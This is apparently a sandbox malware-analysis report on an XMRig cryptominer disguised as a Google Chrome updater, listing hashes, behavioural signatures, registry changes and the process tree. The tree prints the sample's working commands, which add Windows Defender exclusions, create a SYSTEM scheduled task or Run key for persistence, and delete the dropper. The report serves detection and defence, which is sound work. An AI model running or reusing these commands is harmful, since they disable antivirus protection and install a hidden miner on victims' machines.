xmrig | ae23dce6045773f7debde8d12221f2e8a0c356a2b048d2863fb35fb0840fde3e

max time kernel
1800s
max time network
1806s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
22/07/2024, 16:18

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General

Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Size 2.0MB
Sample240722-trzfaaxall
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 4680 created 3468	4680	qM5GMXBk6hJE6Y5e (20).exe	55
PID 4680 created 3468	4680	qM5GMXBk6hJE6Y5e (20).exe	55
PID 4680 created 3468	4680	qM5GMXBk6hJE6Y5e (20).exe	55
PID 4680 created 3468	4680	qM5GMXBk6hJE6Y5e (20).exe	55
PID 4664 created 3468	4664	updater.exe	55
PID 4664 created 3468	4664	updater.exe	55
PID 4664 created 3468	4664	updater.exe	55
PID 4664 created 3468	4664	updater.exe	55
PID 4664 created 3468	4664	updater.exe	55

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral12/memory/4532-107-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-109-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-111-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-113-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-114-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-116-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-118-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-120-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-122-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-124-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-126-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-128-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-130-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-132-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-134-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-136-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-138-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-140-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-142-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-144-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-146-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-148-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-150-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-152-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-154-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-156-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-158-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-160-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-162-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-164-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig
behavioral12/memory/4532-166-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4080	powershell.exe
1404	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4664	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral12/memory/4532-107-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-109-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-111-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-113-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-114-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-116-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-118-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-120-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-122-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-124-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-126-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-128-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-130-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-132-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-134-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-136-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-138-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-140-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-142-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-144-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-146-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-148-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-150-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-152-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-154-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-156-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-158-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-160-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-162-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-164-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx
behavioral12/memory/4532-166-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4664 set thread context of 3440	4664	updater.exe	111
PID 4664 set thread context of 4532	4664	updater.exe	117

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (20).exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4124	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
4680	qM5GMXBk6hJE6Y5e (20).exe
4680	qM5GMXBk6hJE6Y5e (20).exe
4080	powershell.exe
4080	powershell.exe
4680	qM5GMXBk6hJE6Y5e (20).exe
4680	qM5GMXBk6hJE6Y5e (20).exe
532	powershell.exe
532	powershell.exe
4680	qM5GMXBk6hJE6Y5e (20).exe
4680	qM5GMXBk6hJE6Y5e (20).exe
4680	qM5GMXBk6hJE6Y5e (20).exe
4680	qM5GMXBk6hJE6Y5e (20).exe
2756	powershell.exe
2756	powershell.exe
4664	updater.exe
4664	updater.exe
1404	powershell.exe
1404	powershell.exe
4664	updater.exe
4664	updater.exe
2588	powershell.exe
2588	powershell.exe
4664	updater.exe
4664	updater.exe
4664	updater.exe
4664	updater.exe
3440	conhost.exe
3440	conhost.exe
4664	updater.exe
4664	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	532	powershell.exe
Token: SeIncreaseQuotaPrivilege	532	powershell.exe
Token: SeSecurityPrivilege	532	powershell.exe
Token: SeTakeOwnershipPrivilege	532	powershell.exe
Token: SeLoadDriverPrivilege	532	powershell.exe
Token: SeSystemProfilePrivilege	532	powershell.exe
Token: SeSystemtimePrivilege	532	powershell.exe
Token: SeProfSingleProcessPrivilege	532	powershell.exe
Token: SeIncBasePriorityPrivilege	532	powershell.exe
Token: SeCreatePagefilePrivilege	532	powershell.exe
Token: SeBackupPrivilege	532	powershell.exe
Token: SeRestorePrivilege	532	powershell.exe
Token: SeShutdownPrivilege	532	powershell.exe
Token: SeDebugPrivilege	532	powershell.exe
Token: SeSystemEnvironmentPrivilege	532	powershell.exe
Token: SeRemoteShutdownPrivilege	532	powershell.exe
Token: SeUndockPrivilege	532	powershell.exe
Token: SeManageVolumePrivilege	532	powershell.exe
Token: 33	532	powershell.exe
Token: 34	532	powershell.exe
Token: 35	532	powershell.exe
Token: 36	532	powershell.exe
Token: SeIncreaseQuotaPrivilege	532	powershell.exe
Token: SeSecurityPrivilege	532	powershell.exe
Token: SeTakeOwnershipPrivilege	532	powershell.exe
Token: SeLoadDriverPrivilege	532	powershell.exe
Token: SeSystemProfilePrivilege	532	powershell.exe
Token: SeSystemtimePrivilege	532	powershell.exe
Token: SeProfSingleProcessPrivilege	532	powershell.exe
Token: SeIncBasePriorityPrivilege	532	powershell.exe
Token: SeCreatePagefilePrivilege	532	powershell.exe
Token: SeBackupPrivilege	532	powershell.exe
Token: SeRestorePrivilege	532	powershell.exe
Token: SeShutdownPrivilege	532	powershell.exe
Token: SeDebugPrivilege	532	powershell.exe
Token: SeSystemEnvironmentPrivilege	532	powershell.exe
Token: SeRemoteShutdownPrivilege	532	powershell.exe
Token: SeUndockPrivilege	532	powershell.exe
Token: SeManageVolumePrivilege	532	powershell.exe
Token: 33	532	powershell.exe
Token: 34	532	powershell.exe
Token: 35	532	powershell.exe
Token: 36	532	powershell.exe
Token: SeIncreaseQuotaPrivilege	532	powershell.exe
Token: SeSecurityPrivilege	532	powershell.exe
Token: SeTakeOwnershipPrivilege	532	powershell.exe
Token: SeLoadDriverPrivilege	532	powershell.exe
Token: SeSystemProfilePrivilege	532	powershell.exe
Token: SeSystemtimePrivilege	532	powershell.exe
Token: SeProfSingleProcessPrivilege	532	powershell.exe
Token: SeIncBasePriorityPrivilege	532	powershell.exe
Token: SeCreatePagefilePrivilege	532	powershell.exe
Token: SeBackupPrivilege	532	powershell.exe
Token: SeRestorePrivilege	532	powershell.exe
Token: SeShutdownPrivilege	532	powershell.exe
Token: SeDebugPrivilege	532	powershell.exe
Token: SeSystemEnvironmentPrivilege	532	powershell.exe
Token: SeRemoteShutdownPrivilege	532	powershell.exe
Token: SeUndockPrivilege	532	powershell.exe
Token: SeManageVolumePrivilege	532	powershell.exe
Token: 33	532	powershell.exe
Token: 34	532	powershell.exe
Token: 35	532	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4524 wrote to memory of 376	4524	cmd.exe	102
PID 4524 wrote to memory of 376	4524	cmd.exe	102
PID 2756 wrote to memory of 4176	2756	powershell.exe	103
PID 2756 wrote to memory of 4176	2756	powershell.exe	103
PID 4664 wrote to memory of 3440	4664	updater.exe	111
PID 436 wrote to memory of 4124	436	cmd.exe	116
PID 436 wrote to memory of 4124	436	cmd.exe	116
PID 4664 wrote to memory of 4532	4664	updater.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3468
- C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (20).exe
  "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (20).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:4680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:4176
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (20).exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4524
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2588
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3440
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
    3⤵
    - Drops file in Program Files directory
    PID:1508
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:436
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:4124
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:4532

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 2.0MB
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 226B
SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
MD5 fdba80d4081c28c65e32fff246dc46cb
SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
